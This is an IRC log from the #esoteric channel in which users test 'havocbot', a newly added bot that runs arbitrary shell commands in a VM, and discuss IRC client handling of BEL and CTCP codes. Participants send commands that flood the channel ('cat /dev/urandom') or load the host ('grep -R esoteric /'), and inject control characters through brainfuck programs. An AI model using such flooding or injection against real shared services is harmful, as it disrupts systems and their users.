19:42:45 <b_jonas> prooftechnique: moon__ said there's a hard disk or something mounted, so you can create a swap file and swapon it
19:42:51 <b_jonas> prooftechnique: RAM shouldn't be a problem
19:43:02 <moon__> there are two b_jonas
19:43:11 <b_jonas> moon__: writable too?
19:43:12 <moon__> gentoo and one other idk the name of
19:43:14 <moon__> mhm
19:43:37 <int-e> b_jonas: http://sprunge.us/iALY ... unless that has changed...
19:44:38 <b_jonas> int-e: hmm
19:45:16 <b_jonas> wtf
19:50:26 <ybden> HackEgo: rm bashbot.pid
19:50:29 <ybden> oops
19:50:40 <ybden> oh, it's not here
19:51:17 <ybden> < moon__> ill happily cut the network access ← you should really be more careful with this
19:51:19 <shachaf> ybden all hope
19:51:29 * ybden all hope?
19:52:09 <Phantom_Hoover> ybden have you been here before
19:52:19 <ybden> Phantom_Hoover: depends when
19:52:28 <Phantom_Hoover> more than two years ago
19:52:31 <ybden> no
19:52:46 <ybden> `? all hope
19:52:48 <HackEgo> all hope? ¯\(°​_o)/¯
19:52:49 <ybden> `? hope
19:52:51 <HackEgo> hope? ¯\(°​_o)/¯
19:53:01 <shachaf> And manganese and mercury and ybden and magnesium, / Dysprosium and scandium and cerium and cesium
19:53:31 <ybden> hmm, that reminds me of something
19:53:59 <hppavilion[1]> shachaf: scandium spends a lot of time on TMZ
19:55:12 <ybden> shachaf: What is the context?
19:56:20 <shachaf> Of what?
19:56:22 -!- copumpkin has quit (Quit: My MacBook Pro has gone to sleep. ZZZzzz…).
19:57:06 -!- atrapado has quit (Quit: Leaving).
19:57:07 <ybden> shachaf: thine two prior messages
19:57:43 <shachaf> Nontext.
19:58:18 <ybden> shachaf: I presume they were in reference to something, however?
20:01:06 -!- augur has quit (Remote host closed the connection).
20:01:08 -!- Vorpal has quit (Remote host closed the connection).
20:16:05 <hppavilion[1]> Yay! Gawker has filed for bankruptcy!
20:25:04 -!- hwpplayer1 has quit (Quit: Leaving.).
20:26:46 -!- hwpplayer1 has joined.
20:27:13 -!- Akaibu has quit (Quit: Connection closed for inactivity).
20:32:01 -!- hwpplayer1 has quit (Quit: Leaving.).
20:33:17 -!- hwpplayer1 has joined.
20:38:05 <shachaf> ybden: abandon all hope
20:38:37 <moon__> ybden
20:38:48 <moon__> havocbot is alive in #esoteric-blah
20:38:49 <shachaf> ybden: and manganese and mercury, molybdenum, magnesium
20:42:03 <prooftechnique> hppavilion[1]: neat
20:47:15 <moon__> shachaf, not many people are using havoc, can i bring it back here while keeping it in esoteric-blah at the same time?
20:47:27 <shachaf> Ask oerjan.
20:47:48 <int-e> I would prefer it to stay away, fwiw
20:47:59 <int-e> it's highly distractign
20:48:53 <shachaf> That would be my preference too.
20:49:04 <shachaf> `5
20:49:13 <HackEgo> 1/3:675) <Phantom_Hoover> There.... is a box of Gardasil next to the butter in my fridge. <Phantom_Hoover> At least my sandwich will be immune to cervical cancer *and* genital warts, I suppose. \ 225) <zzo38> If you want to use TeX formats invented by Christians, use Plain TeX. However, I do not think the religion of its author is
20:49:17 <shachaf> `spam
20:49:18 <HackEgo> 2/3:a good way to decide what to use. I decide to use Plain TeX for its own reasons. \ 1121) <boily> everything is either zipf, branford, poisson, gamma, or uniform. outside of that, it's a weird curve invented by sadistic statistics teachers. \ 485) <elliott> Deewiant: How do you go through life without seeing at least one gaping a
20:49:20 <shachaf> `spam
20:49:22 <HackEgo> 3/3:nus, that's what I want to know \ 1215) <GeekDude> Most of the time I have no idea what this channel is doing <GeekDude> the other half I still have no idea \
20:49:36 -!- int-e has set topic: #esoteric-blah is wreaking havoc | The intradisciplinary hub of solidity matrices, esoteric programming language design, and font forging | http://esolangs.org/ | logs: http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf.
20:49:47 <int-e> compromise?
20:49:54 <moon__> lol
20:49:58 <moon__> ok haha
21:00:35 <hppavilion[1]> `blerp
21:00:36 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: blerp: not found
21:00:44 <hppavilion[1]> Seriously? Someone has failed
21:07:12 <hppavilion[1]> `nasaldemons
21:07:15 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: nasaldemons: not found
21:08:35 <moon__> hppa
21:09:01 <moon__> i just snuck that command on havoc without anyone noticing using my terminal, wana try it out? :P
21:13:50 -!- hppavilion[1] has quit (Ping timeout: 244 seconds).
21:14:03 -!- dnm has joined.
21:25:22 -!- hppavilion[1] has joined.
21:26:01 -!- hwpplayer1 has quit (Quit: Leaving.).
21:28:10 <moon__> hia hppa
21:29:04 <hppavilion[1]> Are there any 4D rendering engines?
21:29:24 <hppavilion[1]> Not ones that convert everything into 3D-legible graphics that work nicely for pathetic 3D beings like myself
21:29:40 <hppavilion[1]> An engine that renders everything in its full, 4-dimensional glory
21:29:48 <hppavilion[1]> (projected onto my 2D screen of course)
21:30:20 <moon__> Nope
21:43:43 -!- evalj has quit (Remote host closed the connection).
21:45:35 -!- Sprocklem has quit (Quit: [).
22:04:49 -!- spiette has quit (Quit: :qa!).
22:05:54 -!- hppavilion[1] has quit (Ping timeout: 246 seconds).
22:10:40 -!- hppavilion[1] has joined.
22:36:57 -!- ais523 has joined.
22:37:16 <int-e> hmm, Snakebird (silly name, in the current "staff pick" humble bundle) has surprisingly hard levels
22:37:45 <moon__> Huh
22:38:27 <int-e> (contrary to the common case which seems to be that even when people come up with good game mechanics they fail to use them to their full potential)
22:38:57 <int-e> moon__: if you ask a more articulate question I might answer :P
22:39:19 <moon__> which do you prefer: havocbot or hackego?
22:39:20 <moon__> there
22:39:21 <moon__> question
22:39:28 <int-e> hackego
22:39:39 <moon__> and why?
22:39:42 <int-e> but what does that have to do with the "huh" above?
22:40:05 <moon__> you said ask a question (=
22:40:23 <int-e> it's sane (you don't have root so the temptation to just crash it doesn't come up), it's snapshotted, and it's well entrenched in #esoteric culture and history
22:40:28 -!- augur has joined.
22:40:30 <int-e> I know :P
22:41:04 <int-e> I'm living up to my end of the bargain and answering.
22:41:10 <ais523> is havocbot a hackego variant with less sandboxing?
22:41:28 <moon__> Havoc uses a diffrent script, thats for certain
22:41:35 <moon__> no code based relations to hackego
22:42:00 <moon__> if you want to look at it, its in #esoteric-blah
22:43:31 -!- hppavilion[1] has quit (Ping timeout: 250 seconds).
22:44:39 -!- hppavilion[1] has joined.
22:52:39 -!- havbot has joined.
22:53:02 <moon__> wait why did it join here? i thought i commented that out!
22:53:21 <moon__> havbot: killall bash
22:53:21 -!- havbot has quit (Remote host closed the connection).
22:54:04 <ais523> I hope it's at least running in a VM
22:54:09 <moon__> it is
22:54:28 <ais523> OK, so if someone decides to write zeroes all over the hard drive, at least you aren't losing anything
22:54:28 <moon__> i dont trust you all with my pc :P
22:54:34 <moon__> yea
22:54:42 <moon__> plus the livecd is readonly
22:55:06 <Phantom_Hoover> ais523, i mean it's not any more dangerous than running it on a disposable physical machine
22:55:12 <moon__> so the livecd would get away too
22:55:27 <Phantom_Hoover> *any less
22:55:30 <ais523> Phantom_Hoover: most peolpe don't have disposable physical machines though
22:55:45 <ais523> (I did for a while, my students were using them to test kernel-mode keyloggers)
22:55:50 <Phantom_Hoover> idk, i have an rpi that has never seen any meaningful use
22:55:53 -!- havocbot has joined.
22:55:58 <ais523> I /marked/ them in a VM though :-)
22:56:13 <moon__> ah well
22:56:28 <moon__> if it gets spammy, ill take it out
22:56:45 <Phantom_Hoover> havocbot, cat /dev/urandom
22:56:56 <ais523> havocbot: grep -R esoteric / 2>/dev/null
22:57:00 <moon__> you mean: havocbot: cat /dev/urandom
22:57:00 <Phantom_Hoover> havocbot: cat /dev/urandom
22:57:02 <int-e> Phantom_Hoover: I think it wants a colon
22:57:16 <moon__> nothing, huh
22:57:21 <Phantom_Hoover> make this bot accomodate my client configuration imho
22:57:22 <int-e> havocbot: killall cat # this is going to work!
22:57:24 <moon__> havocbot: echo im not dead!
22:57:24 <havocbot> moon__:im not dead!
22:57:24 <ais523> maybe it's joining #esoteric, but not listening to it
22:57:38 <moon__> wrontg
22:57:40 <ais523> my command should logically take a while
22:57:57 <ais523> was planning to see where it was joining #esoteric and edit that bit out :-D
22:58:07 <havocbot> Phantom_Hoover:§ö;Ës;š[Qò¿RÍ쨪œ£ÌážkZ‘tp+ƒOà¢%M uãEy²lhµÓ‹ªßECZpÑBæÕ@AúùÂî¡^.Az7,¨3ôÊJ²=\£÷YOЩdÁŒÝ¦ØÁ¦ÆèÒM²ÔŸŽüÅ}¥7Û®{هNûøDСU£míïË| ·‚.Á›†ÃþœË0Øg£š’H*0.Ã"èyt@ìÌf³¼·rQD5m¶nJE‡/”"{2iQ›²îFK”ÜØ»/É1“Ec\­Hòi§$y®€<7¹˜¹23ÞØvË1=TÇx\/¸Ù~ÿšÇ`w;t«Í63)d(áá„u¸O|4y©|U”•î»*Q³5JöyrÜ/¾)•’å<Ñô¶Ú؂´b$õ‚çqí/üx}Äh×uæÕ;Lb(¾˜Îڗ8Wžl€øk˞U37­fe/t߸©_Ö£$^ìÕ¥ÛïB”¡³¾)07ðތý5‘]…6±ò¢§ú7Î|꘥
22:58:07 -!- havocbot has quit (Excess Flood).
22:58:14 <Phantom_Hoover> lol
22:58:17 <moon__> lol
22:58:25 <^v> omg fuck you
22:58:27 <ais523> there's no limit on the length of a line?
22:58:35 <^v> i hate BEL
22:58:38 <ais523> oh, right
22:58:39 <^v> its literally cancer lol
22:58:39 <moon__> as of now, no
22:58:43 <ais523> I thought you'd been pinged by that somehow
22:58:48 -!- havocbot has joined.
22:58:57 <ais523> (also why do IRC clients not filter BEL, it has no real legitimate use)
22:59:10 <ais523> (over IRC)
22:59:11 <moon__> besides being annoying
22:59:17 <int-e> They really should filter it.
22:59:17 <^v> im setting up my ZNC to filter it rn
22:59:38 <Phantom_Hoover> because BEL was a good idea half a century ago and unix is written by idiots?
22:59:45 <moon__> so urandom smacked you in the face?
23:00:09 <int-e> I'm running with xset -b since approximately forever
23:00:27 <int-e> (no visual bells either)
23:00:46 <zzo38> My IRC client does filter bells it just displays "G" black on purple.
23:00:56 <zzo38> (Same with any other control character it does not recognize.)
23:01:09 <Phantom_Hoover> it's almost as good as most clients interpreting NOTICE in exactly the opposite of the right way
23:01:18 <^v> ayyyy
23:01:21 <^v> hexchat has /set input_filter_beep on
23:01:37 <^v> why it isnt enabled be default
23:01:43 -!- hppavilion[1] has quit (Ping timeout: 250 seconds).
23:01:51 <moon__> count how many showed up in the urandom zzo38
23:02:17 <zzo38> And NOTICE isn't interpreted in any special way on my computer.
23:02:25 <Phantom_Hoover> like the spec explicitly says it's for bot replies and yet it's appropriated for channel-wide pings by several clients
23:02:31 <zzo38> moon__: I found three
23:02:49 <Phantom_Hoover> e.g. the people who usually complain if you do this
23:03:17 <ais523> actually, I have an idea
23:03:25 <int-e> who's complaining?
23:03:27 <ais523> let's persuade all major bots to send all replies as notice
23:03:30 <qrf> I will hunt you down
23:03:32 <qrf> And kill you
23:03:32 <ybden> Phantom_Hoover: argh please don't do that
23:03:32 <ais523> on every server
23:03:36 <ybden> it makes my client go ping
23:03:38 <Phantom_Hoover> you see!
23:03:39 <moon__> also, ais, the bot has 15gb of data for you to work with, 7 under /s and 8 under /mnt/gentoo
23:03:45 <ais523> and the problem will fix itself in a few weeks :-D
23:03:46 <qrf> Incidentally, I have no special notices for notices
23:03:47 <Phantom_Hoover> ybden, your client is fucking terrible!
23:03:47 <qrf> :D
23:03:55 <int-e> qrf: you joined this silly channel out of your own volition.
23:03:58 <qrf> I encountered them randomly just now
23:04:00 <qrf> Yes
23:04:02 <zzo38> tbden: Complain to whoever wrote the client; it is their fault not Phantom_Hoover
23:04:15 <ybden> that cat /dev/urandom looks interesting
23:04:18 <ais523> wait, since when did irssi ping on notices?
23:04:24 <moon__> havocbot: cat /dev/urandom
23:04:35 <ais523> ybden: it's just sending random bytes to IRC
23:04:49 <ais523> (a mix of true-random and cryptosecure pseudo-random)
23:04:51 <ybden> ais523: yeah. It somehow had several colour codes and blinking
23:05:06 <moon__> i noticed
23:05:15 <ais523> well, any message has the potential of being sent by random data
23:05:17 <ybden> < shachaf> ybden: and manganese and mercury, molybdenum, magnesium ← I got that one
23:05:18 <Phantom_Hoover> that's because irc uses non-ascii bytes to encode colour and blinking
23:05:20 <moon__> urandom = almost always a irc wakeup call
23:05:25 <ais523> but color codes and blinking are only a few bytes long
23:05:31 <ais523> so they're highly likely to be hit by chance
23:05:37 <ais523> like, color is two bytes IIRC
23:05:48 <zzo38> In client I use it won't ring the bell unless you push a wrong key or there is a /F rule that tells it to ring the bell (by default no /F rules are defined).
23:06:02 <Phantom_Hoover> ghmm, i wonder what happens with invalid colour codes
23:06:06 <Phantom_Hoover> ah, nothing
23:06:14 <Phantom_Hoover> wait no! they're interpreted
23:06:18 <ais523> ^bf +++.++[->++++++++++<]>.
23:06:18 <fungot>
23:06:22 <Phantom_Hoover> defaults to black
23:06:24 <ais523> wait, need to actually put a message after it
23:06:31 <ais523> ^bf +++.++[->++++++++++<]>.,[.,]!This is a test
23:06:31 <fungot> This is a test
23:06:37 <moon__> anyone able to kick havocbot?
23:06:39 <ais523> what color is that? I have color turned off on my client
23:06:43 <ais523> moon__: I am
23:06:47 <Phantom_Hoover> ais523, blue
23:06:49 <ais523> is it not capable of quitting of its own accord?
23:06:49 <moon__> kick him real quick
23:06:52 <moon__> its frozen
23:07:00 <ais523> kicking it won't disconnect it from the server
23:07:02 <Phantom_Hoover> how will that--
23:07:02 <ais523> just the channel
23:07:10 <Phantom_Hoover> moon__, just kill the process manually??
23:07:13 <ais523> (this is a mistake new bot writers frequently make)
23:07:15 <moon__> i did
23:07:21 <ybden> < ais523> (also why do IRC clients not filter BEL, it has no real legitimate use) ← irssi seems to actually interpret it and ping explicitly, given that it makes a different sound to my normal terminal beep
23:08:03 -!- havocbot has quit (Ping timeout: 240 seconds).
23:08:06 <ais523> I mean, I can kick it – given that it's annoying several people here, doing so would probably be justified – but it wouldn't help you fix the freeze
23:08:12 <ais523> and as seen there, most likely it was just a ghost
23:08:19 <ais523> left after you killed the process
23:08:26 <fizzie> There's a "bell_beeps" setting flag in irssi.
23:08:35 <ybden> fizzie: ooh
23:08:40 <ybden> I should maybe change that
23:08:44 <ybden> thanks
23:08:59 <ais523> ybden: I'd recommend it, this channel ends up with random BELs sent to it way too often
23:09:03 <ybden> Phantom_Hoover: agreed, irssi is definitely not the best
23:09:05 <ais523> most commonly as a result of people running brainfuck programs
23:09:07 <moon__> directly echoing urandom is now against havocbot's rules :P
23:09:10 <ybden> ais523: haha
23:09:22 <ais523> given that a few more beeps surely can't cause that much more harm
23:09:26 <ais523> ^bf +[.+]
23:09:30 -!- moon__ has quit (Quit: Page closed).
23:09:40 <ybden> ais523: to be perfectly honest, I've only really had BELs from people sending them purposefully (from nc, telnet, etc.)
23:09:43 <ais523> hmm, maybe fungot has protection from that nowadays
23:09:43 <fungot> ais523: make it " ( char") " fnord"
23:09:51 <ais523> ooh
23:09:53 <ais523> ^bf ++[.+]
23:09:53 <fungot> .. !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐ ...
23:10:03 <ais523> if you start at ctrl-a, the whole thing becomes a ctcp ;-)
23:10:14 -!- moon_ has joined.
23:10:40 <ais523> for me, the whole ASCII table is italic and crosse out
23:10:40 <moon_> echoing urandom is now against havocbot's rules
23:10:44 <zzo38> Only ^J and ^M are filtered out (which is a requirement of IRC anyways), it look like?
23:10:47 <ais523> and a few of the control characters echoed
23:11:03 <ais523> actually it's surprising that neither the ^J nor ^M ended the line
23:11:22 <ais523> looks like IRC servers genuinely do look for both together
23:11:32 -!- havocbot has joined.
23:12:00 <int-e> hmm, what's ^O doing...
23:12:18 <fizzie> ais523: fungot explicitly replaces \r and \n with a '.'.
23:12:18 <fungot> fizzie: cool. how big's the smallest bf code that says fnord
23:12:20 <zzo38> int-e: At least my implementation has it to cancel all formatting codes
23:12:28 <ais523> fizzie: that's explain the .s I see
23:12:32 <ais523> does it also filter out bel?
23:12:40 <ais523> (bel doesn't do anything on my client, so I can't directly tell)
23:12:42 <fizzie> No.
23:12:55 <moon_> ill implent a filter for havoc soon
23:12:58 <ais523> hmm, this reminds me of a problem in libuncursed
23:12:59 <zzo38> I can tell; only ^M and ^J are converted to . and everything else remains as is
23:13:18 <ais523> some terminals get into a state where they're waiting for some character, possibly BEL
23:13:20 <int-e> <fungot> ^DEHI.KL.NPQRSTUWXYZ\^ ...
23:13:20 <fungot> int-e: sadly there isn't one
23:13:24 <fizzie> I've had filtering out ^A on the to-do list for a long time now.
23:13:25 <ais523> and rather than send BELs and annoy the users of all other terminals
23:13:45 <ais523> I send a few KB of NULs to cancel out when the buffer gets full :-D
23:14:06 <int-e> (the ^D is my doing... irssi uses(or used?) it internally to encode colors... and doesn't filter it from messages coming from irc)
23:14:12 <ais523> ^bf +.,[.,]+.!VERSION
23:14:25 <ais523> hmm, I didn't receive a CTCP from fungot there
23:14:25 <fungot> ais523: for one thing
23:14:30 <ais523> oh, we probably have a +C ban
23:14:34 <ais523> yes
23:14:47 <ais523> and that one was placed specifically to capture stray Ctrl-As from bots
23:15:04 <ais523> thus if you ask a bot to output a bunch of random info and it happens to contain a ctrl-a
23:15:10 <ais523> the message gets deleted by Freenode itself
23:15:40 <int-e> I'd expect it to only eat messages that start with ^A?
23:16:07 <int-e> ^bf ++.-.+..-.
23:16:07 <fungot> <CTCP><CTCP>
23:16:21 <int-e> okay.
23:16:23 <ais523> int-e: well according to the IRC spec you can put a ctcp in the middle of another message
23:16:24 <ais523> no idea why though
23:16:41 <ais523> ^bf ,.>+.,[.,]+.!xVERSION
23:16:41 <fungot> x<CTCP>VERSION<CTCP>
23:16:53 <ais523> my client doesn't parse it as a CTCP though, it just echoes the whole thing
23:17:00 <zzo38> I am not quite sure either, but my client implements it.
23:17:01 <ais523> so this is part of the spec that is apparently routinely ignored
23:17:51 <ais523> also, I'm amused that we're still mentioning the matrix of solidity in the topic
23:17:52 <zzo38> Are you able to see if fungot received a NOTICE? My client automatically sent one.
23:17:53 <fungot> zzo38: instead of just including and extend?"
23:18:52 <fizzie> zzo38: It did.
23:19:10 <zzo38> OK. Did it receive from anyone else or only from me?
23:19:22 <fizzie> staffehn also replied with a version reply.
23:19:27 <zzo38> OK
23:19:43 -!- Sgeo_ has joined.
23:19:55 <zzo38> Well, so this kind of implementation is seem rare anyways, but does exist.
23:20:06 <fizzie> Quassel IRC v0.8.0 and PHIRC:0.9 from them and you, respectively.
23:20:19 <zzo38> Yes
23:20:42 <fizzie> Oh, there's a third one (BitchX-1.1-final+) from Alcest. But that's all.
23:21:10 <zzo38> OK
23:23:41 <fizzie> Incidentally, the ^J-or-^M filtering is implemented particularly for the brainfuck ., not more generally than that. Fortunately you can't make Underload output any symbols that weren't in the input, and you can't get either of them into the input.
23:25:07 <fizzie> (Lines 303-304, ":a-:3-" and some tests.)
23:26:17 <fizzie> In retrospect, I think I could've saved a couple of instructions by just *ing those together and testing once, rather than testing both separately.
23:26:53 <ais523> now I'm trying to work out if there are any numbers other than 10 and 13 for which (x-10)*(x-13) is 0
23:27:01 <ais523> clearly there aren't if you're using bignum integers
23:27:04 <ais523> but computer arithmetic is bounded
23:27:40 <fizzie> Yes, but in this case 0 <= x <= 255, and the computation itself is done as a 32- or 64-bit signed integer.
23:28:28 <ais523> yes, in that case it's going to be correct
23:29:09 <ais523> hmm, let y = x-13, then we're checking for y(y+3) = 0, but 3 is odd
23:29:24 <ais523> thus if we're checking for y(y+3) = 2**n in bignum arithmetic
23:29:39 <Phantom_Hoover> <ais523> also, I'm amused that we're still mentioning the matrix of solidity in the topic
23:29:42 <ais523> the only solutions are for y or y-3 to be 0 modulo 2**n, as they can't both be even
23:29:44 <izabera> http://tiffzhang.com/startup
23:29:49 <Phantom_Hoover> i mean we're locked in there, it's not like we're getting out any time soon
23:33:44 <ais523> hmm, looks like esolangs.org is the top hit for "enjoy being locked in your matrix of solidity", and some of the other top hits are esotericism sites, but not all
23:33:47 <ais523> e.g. http://allariewindows.com/products/patio-door/ is pretty high up
23:34:22 <ais523> strangely it doesn't mention matrices anywhere
23:34:42 <ais523> although all the other words in the phrase are there, scattered in random parts of the page
23:41:40 -!- havocbot has quit (Remote host closed the connection).
23:42:07 -!- havocbot has joined.
23:43:07 <moon_> for google, the top hit is the logs
23:43:08 -!- J_Arcane has joined.
23:43:59 <ais523> moon_: google's search results depend on who's searching though
23:44:07 <ais523> have you used google to search the #esoteric logs before now?
23:44:19 <ais523> if you do it a lot, google will likely return them for any query that's sufficiently relevant
23:45:29 <moon_> No
23:45:32 <moon_> First time
23:49:53 <moon_> havocbot: /cv bmFzYWxkZW1vbnM=
23:50:05 <moon_> ?
23:51:29 <moon_> huh
23:51:39 <moon_> i guess it doesnt wana
23:52:14 <moon_> havocbot: cv ZWNobyB0aGlzIGlzIGEgdGVzdCBvZiBjdiBhbmQgaXRzIGJhc2U2NCBpbnB1dA0K
23:52:15 <havocbot> moon_:./bashbot-master/bashbot: line 170: /cv: No such file or directory
23:52:25 <moon_> havocbot: /cv ZWNobyB0aGlzIGlzIGEgdGVzdCBvZiBjdiBhbmQgaXRzIGJhc2U2NCBpbnB1dA0K
23:52:25 <havocbot> moon_:./bashbot-master/bashbot: line 170: /cv: No such file or directory
23:52:29 <moon_> .-.
23:53:13 <moon_> i should cp it back
23:53:23 <moon_> havocbot: cp /s/bin/cv /cv
23:53:23 <havocbot> moon_:./bashbot-master/bashbot: line 170: /cv: No such file or directory
23:53:44 <moon_> i moved the wrong one.
23:53:46 <moon_> i ment cu
23:54:20 <moon_> havocbot: cu ZWNobyB0aGlzIGlzIGEgdGVzdCBvZiBjdiBhbmQgaXRzIGJhc2U2NCBpbnB1dA0K
23:54:21 <havocbot> moon_:this is a test of cv and its base64 input
23:54:34 <moon_> s/cv/cu/
23:55:51 <shachaf> What happened to people preferring that havocbot leave?
23:56:07 <moon_> i broke a thing, im working on it :P
23:56:16 <moon_> esoteric got back in the list for some reason
23:57:20 <moon_> i think i fixed it
23:57:32 -!- havocbot has quit (Remote host closed the connection).
23:58:21 <moon_> ok fixed
23:58:26 <ybden> < moon_> echoing urandom is now against havocbot's rules ← are these rules enforced in any manner, or are you just hoping that we don't?
23:58:32 <moon_> my appolagies shachaf
23:58:39 <moon_> hopeing :P
23:58:44 <moon_> ill implent something soon
23:59:18 <Phantom_Hoover> how did you implement those rules moon_
2016-06-11
00:00:01 <moon_> i havent
00:00:07 <moon_> all hope until i add filters
00:00:09 <moon_> also
00:00:16 <moon_> how do i list processes and their ids?
00:00:26 <Phantom_Hoover> ps
00:01:05 <moon_> someone gave it a rogue grep
00:01:37 <moon_> aka grep based forkbomb
00:02:14 <Phantom_Hoover> you need a timeout like HackEgo has or this sort of denial of service will be inevitable
00:02:27 -!- lambda-11235 has quit (Ping timeout: 246 seconds).
00:02:27 <moon_> :P
00:02:42 <moon_> whats a good way to implent that?
00:03:29 <Phantom_Hoover> i'm not the one to ask
00:04:17 <moon_> found something
00:05:43 <ybden> < moon_> aka grep based forkbomb ← ooh, what was that?
00:05:46 <moon_> the one i found also kills a hanging thread
00:05:47 <moon_> idk
00:05:52 <moon_> i just found the process
00:06:10 <ybden> moon_: forkbomb would imply there were a great many processes
00:06:14 <ybden> moon_: do you know what the command was?
00:06:43 <moon_> killed it and all my cpu usage fell from 67% to 2%
00:06:44 <moon_> also
00:06:49 <moon_> ill see if its in the logs
00:07:01 <ybden> moon_: that's not a forkbomb
00:07:04 <ybden> moon_: that's just grep
00:07:22 <ybden> moon_: if there were a forkbomb, it would be 100% CPU and it wouldn't respond
00:12:58 <moon_> ah
00:13:00 <moon_> true
00:13:45 <moon_> well
00:13:48 <moon_> i remember now
00:15:07 <moon_> the command was preforming a full system search
00:17:59 <moon_> ybden, if you want to tinker, havocbot is in #esoteric-blah
00:20:36 -!- lambda-11235 has joined.
00:24:00 -!- augur has quit (Remote host closed the connection).
00:33:18 <HackEgo> [wiki] [[User:Qwertyu63]] https://esolangs.org/w/index.php?diff=47191&oldid=47190 * Qwertyu63 * (+73)
00:33:48 -!- PinealGlandOptic has joined.
00:35:23 <Phantom_Hoover> `help
00:35:24 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
00:43:29 -!- havocbot has joined.
00:49:38 <moon_> havocbot, staph
00:49:40 <moon_> bad bot
00:49:43 <moon_> someone kick it
00:50:23 <moon_> shachaf: kick havoc for me pls
00:53:03 <quintopia> havocbot: echo "NO!"
00:53:03 <havocbot> quintopia:NO!
00:54:22 <moon_> quin, use him in #esoteric-blah
00:54:58 <moon_> fizze
00:55:01 <moon_> fizzie?
00:55:09 <moon_> phantom needs you in #esoteric-blah
01:00:22 <Phantom_Hoover> if he was online don't you think he would have seen the ping in #esoteric-blah
01:02:56 <prooftechnique> What have I missed? Have we escaped moon_'s VM, yet?
01:04:13 -!- Lord_of_- has quit (Quit: EliteBNC free bnc service - http://elitebnc.org - be a part of the Elite!).
01:06:54 -!- havocbot has quit (Remote host closed the connection).
01:08:08 -!- Lord_of_Life has joined.
01:12:07 <moon_> Nope
01:12:23 <moon_> Havoc has full command support, th
01:12:24 -!- lambda-11235 has quit (Max SendQ exceeded).
01:12:29 <moon_> no funny syntax
01:12:33 <moon_> just terminal
01:13:09 <MDude> I wonder why in IBNIZ, why vp1+10*x1+10*q%?1 exhibits behavior that seems to rely on time.
01:13:17 -!- lambda-11235 has joined.
01:14:09 <quintopia> all code does
01:14:13 <MDude> What I was trying to do is generate an image in which the top row has every pixol lit, the second topmost row has every other pixel lit, and the third topmost every third, etc.
01:14:20 <quintopia> IBNIZ pushes the time onto the stack every frame
01:14:29 <MDude> Yes.
01:14:35 <MDude> And vp pops it.
01:14:46 <moon_> prooftechnique: havoc is in #esoteric-blah if you wana mess with it
01:14:50 <quintopia> does it?
01:14:57 <prooftechnique> `? IBNIZ
01:15:15 <HackEgo> IBNIZ? ¯\(°​_o)/¯
01:15:24 <quintopia> is it xyt? from bottom to top?
01:16:09 <MDude> tyx is what the documentation says.
01:16:37 <MDude> Plus it works for other porgrams like vp^
01:17:59 <MDude> It might eb that I'm misunderstanding the coordinate system.
01:18:38 <MDude> Since what I'm trying to do is make each coordinate into a integer representing the pixel offset from top left.
01:18:58 <MDude> But if I have the scale or offset wrong then it won't work right.
01:20:01 <MDude> What's odd to me is that what I've written seems to produce tiny blue dots to blink even though nothing should blink if time is popped at the start.
01:20:11 -!- Lord_of_Life has quit (Quit: EliteBNC free bnc service - http://elitebnc.org - be a part of the Elite!).
01:20:32 -!- oerjan has joined.
01:26:26 <moon_> oerjan, hi!
01:26:33 <moon_> can i brin havocbot back to esoteric?
01:27:14 <MDude> It also makes a distict hum for some reason.
01:27:45 <oerjan> moon_: it was a bit noisy
01:28:18 <oerjan> i think we have a channel for bot testing somewhere
01:28:20 <moon_> it was being used a lot
01:28:31 <moon_> its currently in #esoteric-blah
01:28:37 <oerjan> right.
01:28:42 <moon_> but i think i can shorten its output to 255 bytes
01:28:49 <moon_> which is around hackego's limit
01:29:35 -!- Sprocklem has joined.
01:29:41 <oerjan> the noise wasn't so much about the output as about all the failed experiments.
01:29:48 <moon_> well
01:29:53 <moon_> it runs fairly well now
01:30:10 <moon_> with good bash interface and a drive
01:30:34 <oerjan> well i have a bad feeling about this, so probably don't ask me in the first place.
01:32:00 <MDude> There is a #bots chennel with a topic of "Maybe we're bots, maybe we're not.".
01:32:19 <prooftechnique> moon_: Are your partitions and fstab set up in a sensible way? I rather dread trying to partition it for a Gentoo install via bot
01:32:34 <moon_> i beleive so
01:32:39 <moon_> b_jonas set them up
01:32:41 <moon_> not me
01:32:49 <prooftechnique> Oh, that's probably all right, then
01:33:10 <prooftechnique> Not that I know anything about b_jonas's partitioning habits
01:33:35 <moon_> :P
01:34:05 <moon_> oerjan: is that a 'i can try and if it gets noisy remove it', a 'yes', or a 'no'
01:34:42 <oerjan> if you keep asking it will eventually turn into a "no" hth
01:34:46 <moon_> :P
01:34:56 <moon_> ok, ill take its not a no
01:35:18 <shachaf> I would prefer that it not be here.
01:35:23 <prooftechnique> Make the bot useful, then you can make a case
01:35:46 <moon_> kk
01:35:47 <shachaf> I don't think "useful" is necessary or sufficient for being in this channel.
01:35:47 <moon_> well
01:35:48 <moon_> wait
01:35:49 -!- havocbot has joined.
01:35:53 <moon_> umm
01:35:56 <moon_> stupid bot
01:36:02 <moon_> i just reboted it
01:36:03 <int-e> havocbot: halt
01:36:03 -!- havocbot has quit (Client Quit).
01:36:11 <prooftechnique> shachaf: I think being interesting is useful
01:36:26 <oerjan> . o O ( havocbot: hcf )
01:37:06 <moon_> use killall bash next time
01:37:08 <moon_> dont halt it
01:37:09 <ais523> now I'm wondering how easy it is to set a modern computer on fire through software
01:37:22 <int-e> right now the bot is only useful for abuse, and we already have fungot for that ;)
01:37:23 <fungot> int-e: the fnord dsa host key was generated in under two seconds, the base is the number of
01:38:44 <moon_> shachaf: just wondering: whats your reasoning for not wanting it? out of curiosity
01:38:50 <shachaf> It's noisy.
01:39:19 <moon_> command output size too large?
